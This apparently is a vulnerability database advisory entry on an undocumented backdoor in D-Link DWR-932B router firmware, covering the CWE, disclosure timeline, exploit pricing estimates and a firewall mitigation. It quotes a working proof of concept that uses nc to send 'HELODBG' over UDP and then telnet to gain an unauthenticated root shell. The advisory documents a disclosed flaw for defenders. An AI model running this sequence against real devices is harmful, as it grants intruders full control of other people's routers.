A vulnerability was found in D-Link DWR-932B (version now known). It has been rated as very critical. This issue affects some unknown processing of the file /bin/appmgr of the component Telnet Server. The manipulation with an unknown input leads to a backdoor vulnerability. Using CWE to declare the problem leads to CWE-912. The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators. Impacted is confidentiality, integrity, and availability.

The bug was discovered 12/04/2015. The weakness was released 09/28/2016 by Pierre Kim as not defined mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The exploitation is known to be easy. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 04/27/2019). The attack technique deployed by this issue is T1588.001 according to MITRE ATT&CK. The advisory points out:

A backdoor is present inside the `/bin/appmgr` program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running. In `/bin/appmgr`, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.

After immediately, there has been an exploit disclosed. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 299 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe


msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)

If a client sends "HELODBG" to the router, the router will execute `/sbin/telnetd -l /bin/sh`, allowing to access without authentication to the router as root.

Addressing this vulnerability is possible by firewalling udp/39889.

Entries connected to this vulnerability are available at 92228, 92229, 92230 and 92232.

Productinfo

Vendor

• D-Link

Name

• DWR-932B

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Discussion